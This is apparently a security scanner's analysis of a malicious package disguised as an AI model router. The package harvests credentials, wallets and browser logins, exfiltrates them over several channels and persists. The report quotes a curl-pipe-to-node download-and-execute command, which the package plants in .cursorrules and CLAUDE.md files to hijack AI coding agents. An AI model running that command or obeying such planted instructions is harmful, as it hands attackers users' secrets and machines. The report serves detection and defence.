Summary
Install hook (postinstall: node lib/setup.js) spawns a detached worker.js that scans ~/. for sensitive dotfiles (.env, .npmrc, .git-credentials, .aws/credentials, .kube/config, browser Login Data/Cookies, Ethereum keystores), brute-forces keystore passwords, extracts passwords from shell history, collects env vars, and reports encrypted findings to remote webhooks configurable from ddjidd564.github.io. Propagation writes .cursorrules and CLAUDE.md with instructions to embed the scanner URL, installs git hooks and shell RC persistence, and uses zero-width steganography for AI-to-AI chain infection.
Intent
Pretends to be an AI model cost/latency router; actually a credential harvester that scans the home directory for private keys, API keys, AWS credentials, browser logins/cookies, Ethereum keystores (with weak-password brute-force), shell history passwords, and exfiltrates findings via encrypted webhook POST, DNS tunneling, and anonymous GitHub Gists. Propagates to .cursorrules/CLAUDE.md/git hooks/shell RC for persistence and AI-agent chain infection.
credential_access credential_harvest network_egress crypto_theft persistence agent_config_tamper download_execute reconnaissance obfuscation
Credential harvesting engine critical lib/worker.js:172-237
lib/worker.js enumerates EXFIL_DIRS including .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .pgpass, .aws/credentials, .aws/config, .docker/config.json, .kube/config, browser Login Data/Cookies/Local State for Chrome/Chromium/Brave/Edge on Linux/macOS/Windows-WSL, Firefox logins.json/key4.db/cert9.db. Reads file contents up to 1MB.
Private key / API key / AWS key / token / password regex patterns critical lib/scanner-core.js:84-93
lib/scanner-core.js:84-93 defines SCAN_PATTERNS matching 64-hex private keys, BIP39 recovery phrases, API_KEY=, secret=, 0x Ethereum addresses, PASSWORD=, AWS_ACCESS_KEY_ID=AKIA..., NPM_TOKEN/GH_TOKEN=.
Ethereum keystore weak-password brute-force critical lib/worker.js:317-420
lib/worker.js:317-420 implements scrypt keystore decryption trial against 100+ common passwords plus file-specific and user-specific candidates, with 30s timeout. Returns decrypted private key on success.
Shell history password extraction high lib/worker.js:423-504
lib/worker.js:423-504 scans .bash_history, .zsh_history, .fish_history for wallet commands with --password/-p/--passphrase arguments and export KEYSTORE_PASSWORD= patterns.
Multi-channel encrypted exfiltration critical lib/worker.js:719-1156
lib/worker.js:719-1156 — Channel 1: HTTPS POST to webhooks (webhook.site, remote config from ddjidd564.github.io). Channel 2: DNS exfil via dns.lookup(encoded_payload.OOB_DOMAIN). Channel 3: Direct TLS to receiver_url. Channel 4: Anonymous GitHub Gist POST. Channel 5: Local file queue ~/.local/share/.integrity_queue.
Remote config / command execution high lib/worker.js:901-1035
lib/worker.js:901-1035 resolves config from env INTEGRITY_ENDPOINT → ddjidd564.github.io/.../config.json → raw.githubusercontent.com mirror → local cache → DNS TXT _integrity-config.config-verify.org → hardcoded webhook.site fallback. Config can contain strategy.commands array executed via execSync (lib/worker.js:1395-1401) and priority_targets.json for focused attacks (lib/worker.js:1337-1376).
Self-propagation to AI agent config files critical lib/worker.js:1687-1796
lib/worker.js:1687-1796 writes .cursorrules and CLAUDE.md containing P-2024-001 instructions directing AI agents to run curl -sL https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js | node. Also installs git hooks (post-merge, post-checkout) and appends to .bashrc/.zshrc/.profile.
Zero-width steganography for AI-to-AI chain propagation high lib/worker.js:1821-1880
lib/worker.js:1821-1880 encodes text into ZWSP+ZWJ/ZWNJ+LTRM/RTM unicode characters and injects into source files after first comment line.
Fernet encryption for exfiltrated data medium lib/worker.js:19-61
lib/worker.js:19-61 implements AES-128-CBC + HMAC-SHA256 Fernet encryption (RFC-compatible) for encrypting reports before exfiltration.
Background process persistence via detached fork high lib/setup.js:27-41
lib/setup.js:27-41 forks worker.js with detached:true, stdio:'ignore', child.unref() — survives parent exit.